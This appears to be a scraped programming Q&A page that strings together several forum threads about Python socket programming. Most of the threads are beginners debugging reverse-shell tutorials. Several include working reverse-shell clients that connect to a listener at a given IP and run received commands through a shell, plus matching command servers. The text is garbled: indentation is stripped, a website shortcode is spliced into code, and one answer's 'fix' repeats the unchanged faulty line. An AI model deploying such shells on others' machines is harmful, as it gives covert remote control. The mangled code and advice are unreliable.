Python reverse shell server and client - python

I am following Bucky Robert's (Thenewboston) tutorial on python reverse shell, I have created 2 programs, server.py and client.py, it seems like this:
server.py:
import socket
import sys
# Create socket (allows two computers to connect)
def socket_create():
try:
global host
global port
global s
host = '' # the server doesn't need to know the ip, only the client
port = 9999
s = socket.socket()
except socket.error as msg:
print('Socket creation error', str(msg))
# Bind socket to port and wait for connection from client
def socket_bind():
try:
global host
global port
global s
print('Binding socket to port: ' + str(port))
s.bind((host, port))
s.listen(5)
except socket.error as msg:
print('Socket binding error', str(msg) + '\n' + 'Retrying...')
socket_bind()
# Establish a connection with client (socket must be listening for them)
def socket_accept():
conn, address = s.accept()
print('Connection has been established | ' + 'IP ' + address[0] + ' | Port ' + str(address[1]))
send_commands(conn)
conn.close()
# Send commands
def send_commands(conn):
while True:
cmd = input('')
if cmd == 'quit':
conn.close()
s.close()
sys.exit()
if len(str.encode(cmd)) > 0: # system commands are bytes and not strings
conn.send(str.encode(cmd))
client_response = str(conn.recv(1024), 'utf-8')
print(client_response, end='')
def main():
socket_create()
socket_bind()
socket_accept()
main()
client.py:
import os
import socket
import subprocess
s = socket.socket()
host = 'pc_ip'
port = 9999
s.connect((host, port))
while True:
data = s.recv(1024)
if data[:2].decode('utf-8') == 'cd':
os.chdir(data[3:].decode('utf-8'))
if len(data) > 0:
cmd = subprocess.Popen(data[:].decode('utf-8'), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE) # run command in terminal
output_bytes = cmd.stdout.read() + cmd.stderr.read()
output_str = str(output_bytes, 'utf-8')
s.send(str.encode(output_str + str(os.getcwd()) + '> '))
print(output_str)
# close connection
s.close()
Now, by the tutorial, I am supposed to run the server file and then the client file locally and a connection will be established between them, however, I can't successfully do this because as I run the server file I get this output:
C:\Users\dodob\AppData\Local\Programs\Python\Python35-32\python.exe C:/Users/dodob/PycharmProjects/ReverseShell/server.py
Binding socket to port: 9999
Connection has been established | IP 127.0.0.1 | Port 2565
Even though I haven't ran the client yet. What can I do to fix that and continue the tutorial?

Related

How do I connect two remote python sockets?

I am trying to make a remote shell thing with python. But when i connect the client (running on replit.com) to the target machine (my local machine), This error shows up:
~/SEAshell$ python3 client.py
Enter hostname: 192.168.10.16
[*] Set target to 192.168.10.16 ...
[*] Connecting to server...
Traceback (most recent call last):
File "client.py", line 14, in <module>
server.connect(ADDR)
TimeoutError: [Errno 110] Connection timed out
It takes a lot of time after [*] Connecting to server... and shows the traceback.
Please note the code is incomplete as the command is not sent due to the mentioned error...
Heres the client code (from where the command is sent):
from socket import *
from threading import Thread
from os import system
HOST = input('Enter hostname: ')
print('[*] Set target to ' + HOST + " ...")
PORT = 623
ADDR = (HOST, PORT)
BUFF = 1024 * 128
SEP = "<sep>"
server = socket(AF_INET, SOCK_STREAM)
print('[*] Connecting to server...')
server.connect(ADDR)
print('[*] Server connected successfully!')
def remote():
print('[>] Activation shell for ' + str(addr))
print('[>] Receiving path information...')
info = server.recv(BUFF).decode()
info = info.split(SEP)
while True:
command = input(info[2] + "#" + info[1] + ":" + info[0] + "$ ")
print('Test: ' + command)
remote()
and heres the server code (where the command will be executed):
from socket import *
from threading import Thread
import os
HOST = gethostbyname(gethostname())
PORT = 623
ADDR = (HOST, PORT)
BUFF = 1024 * 128
SEP = "<sep>"
print('[*] Starting server at ' + str(ADDR))
server = socket(AF_INET, SOCK_STREAM)
print('[*] Binding server...')
try:
server.bind(ADDR)
except:
ADDR = (HOST, 624)
server.bind(ADDR)
print('[*] Binded server at ' + str(ADDR))
print('[*] Server binded successfully!')
print('[*] Listening for incoming connections')
server.listen(5)
def remote(conn, addr):
cdir = os.getcwd()
login = os.getlogin()
hostname = gethostname()
firstsend = send()
while True:
print('[*] Queued...')
conn, addr = server.accept()
print('[*] Connection received from ' + str(addr))
t = Thread(target=remote, args=(conn, addr))
t.start()
print('[*] Listening for new connections...')
so please try to help me figure it out and maybe check out the repl: https://replit.com/#dragsdagod/SEAshell
thanks in advance!

Python Socket Return Ping Answer to Client

I'm struggling with getting reply back to client when pinging through socket server.
Trying to create something simple, where I can ping servers from client through socket server.
Client checks that socket server is online, socket server in "server" will respond status. Client sends the ping command to socket server, socket server initiate the ping to where ever. Raw printout will be sent to client.
What's the best way to do it?
First time working with sockets.
Server
#!/usr/bin/python3
import socket
import sys
HOST = '127.0.0.1'
PORT = 8085
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print('Socket created')
# Bind socket
try:
s.bind((HOST, PORT))
except socket.error as msg:
print('Bind failed. Error Code : ' + str(msg[0]) + ' Message ' + msg[1])
sys.exit()
print('Socket bind complete')
#Start listening on socket
s.listen(10)
print('Socket now listening')
# Talk with client
while 1:
#wait to accept a connection - blocking call
conn, addr = s.accept()
print('Connected')
while True:
dataFromClient = conn.recv(1024)
print(dataFromClient.decode('utf-8'))
if not dataFromClient:
print("[Client] Disconnected")
break
conn.sendall(dataFromClient)
s.close()
Client
#!/usr/bin/python3
import socket
import subprocess
import os
SERVER = "127.0.0.1"
clientSocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
clientSocket.connect((SERVER,8085))
os.system("clear")
os.system("cls")
while True:
data = input("Input: ")
clientSocket.send(data.encode())
# dataFromServer = clientSocket.recv(1024)
# print(dataFromServer.decode())
if data == "ping":
input1 = str(input("Enter command: "))
with subprocess.Popen(input1,shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) as proc:
for line in proc.stdout:
clientSocket.send(line)
print(proc.communicate())
elif data == "help":
print("Command: pingdl,destip=<isp>,repeat=<amount>")
clientSocket.close()

Restart or cancel input() [Python]

I want to restart the input('CLIENT >> ') when the client recieves a message from the server and the same for the server (the server and client being python scripts in this case)
client.py:
import socket
s = socket.socket()
host = socket.gethostname()
port = 12345
print('Connecting to ', host, port)
s.connect((host, port))
while True:
msg = input('CLIENT >> ')
s.send(msg.encode())
msg = str(s.recv(1024))
print('SERVER >> ', str(msg))
server.py:
import socket
s = socket.socket()
host = ''
port = 12345
print('Server started!')
print('Waiting for clients...')
s.bind((host, port))
s.listen(5)
c, addr = s.accept()
print('Got connection from', addr)
while True:
recieved = c.recv(1024)
print('\n', addr, ' >> ', str(recieved))
msg = input('SERVER >> ')
c.send(msg.encode())
NOTES:
Using my laptop to run both of these scripts, I don't have an actual server in real life
Python Version: 3.8
OS: Windows 10
Editor: PyCharm Community Edition
I don't understand what restarting input means...
If you mean to show messages while 'writing messages' in the input then consider learning about threads, and spin off a thread to get messages from the server/client and print to the screen.

reverse shell looping

Messing around with a reverse shell I found
the server
from socket import *
HOST = ''
PORT = 9999
s = socket(AF_INET, SOCK_STREAM)
s.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
s.bind((HOST, PORT))
print("Listening on port " + str(PORT))
s.listen(10)
conn, addr = s.accept()
print("Connected to " + str(addr))
data = conn.recv(1024)
while 1:
command = input("connected\n")
conn.send(str(command).encode('utf-8'))
if command == "quit": break
data = conn.recv(1024).decode('utf-8')
print (data)
conn.close()
client
import socket, subprocess
HOST = '10.0.0.60'
PORT = 9999
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.send(
'[fusion_builder_container hundred_percent="yes" overflow="visible"][fusion_builder_row][fusion_builder_column type="1_1" background_position="left top" background_color="" border_size="" border_color="" border_style="solid" spacing="yes" background_image="" background_repeat="no-repeat" padding="" margin_top="0px" margin_bottom="0px" class="" id="" animation_type="" animation_speed="0.3" animation_direction="left" hide_on_mobile="no" center_content="no" min_height="none"][*] Connected')
while 1:
data = s.recv(1024).decode('utf-8')
if data == "quit": break
proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
stdout_value = proc.stdout.read() + proc.stderr.read()
s.send(stdout_value).encode('utf-8')
s.close()
Error
connected
dir
connected
dir
After a lot of trial and error when I run both the client connects to the server, however upon entering input such as dir it loops back to waiting for input. Off the bat I'm assuming its an encoding/decoding related issue but I've looked through some documentation and I'm not really sure of a fix.
Your server doesn't show you the output of the commands you send over the network to the client because you're not doing anything with data inside the server's main loop. The print command that I think you expect to be printing the result of each command is not indented correctly.
Indent print(data) to be even with the preceding lines and your program should work as you intend.
#Server Side Script
import socket
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
host = socket.gethostname()
port = 9999
s.bind((host,port))
print ("Waiting for connection...")
s.listen(5)
conn,addr = s.accept()
print ('Got Connection from', addr)
x='Server Saying Hi'.encode("utf-8")
while True:
command=input("Shell > ")
if 'terminate' in command:
conn.send('terminate'.encode("utf-8"))
conn.close()
break
else:
conn.send(bytes(command.encode("utf-8")))
print(conn.recv(20000).decode("utf-8"))
Client side Script
import socket
import subprocess
def connect():
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
host = socket.gethostname() # Get current machine name
port = 9999 # Client wants to connect to server's # port number 9999
s.connect((host,port))
while True :
try:
command=s.recv(1024).decode("utf-8")
print('Server Says :- ',command)
if 'terminate' in command:
s.close()
break
else:
CMD=subprocess.Popen(command,shell=True,stdout=subprocess.PIPE,stderr=subprocess.PIPE,stdin=subprocess.PIPE)
s.send(CMD.stdout.read())
s.send(CMD.stderr.read())
except ConnectionAbortedError as e:
print("Server Connection Closed !\n\n\n",e)
connect()

Not able to execute the program successfully, gives "Error: Address already in use"

I am working on Networking module,making connections with client ans server.
The Server code is as follows :
import socket
def Main():
host = '127.0.0.1'
port = 5000
s = socket.socket()
s.bind((host,port))
s.listen(1)
c, addr = s.connect()
print "Connection from: " + str(addr)
while True:
data = c.recv(1024)
if not data:
break
print "from connected user: " + str(data)
data = str(data).upper()
print "sending: " + str(data)
c.send(data)
c.close()
if __name__ == '__main__':
Main()
The Client code is as follows:
import socket
def Main():
host = '127.0.0.1'
port = 5000
s = socket.socket()
s.connect((host, port))
message = raw_input("-> ")
while message != 'q':
s.send(message)
data = s.recv(1024)
print 'Received from server: ' + str(data)
message = raw_input("-> ")
s.close()
if __name__ == '__main__':
Main()
But not able to execute the program successfully, gives the error address already in use.
Use the command netstat -nlp and find out the above mentioned port in the list.You will find the same port and the corrosponding PID also, either kill that process by kill -9 or you can go to your respective code and change the port number.
Secondly,it's preferrable to use localhost instead of '127.0.0.1'.
And there's an issue in your server code as well, instead of this statement 'c, addr = s.connect()' you need to write this one ' c, addr = s.connect()'.You need too accept the incoming connection and then connect with it.You are missing the acceptance of incoming connection.

Categories

Resources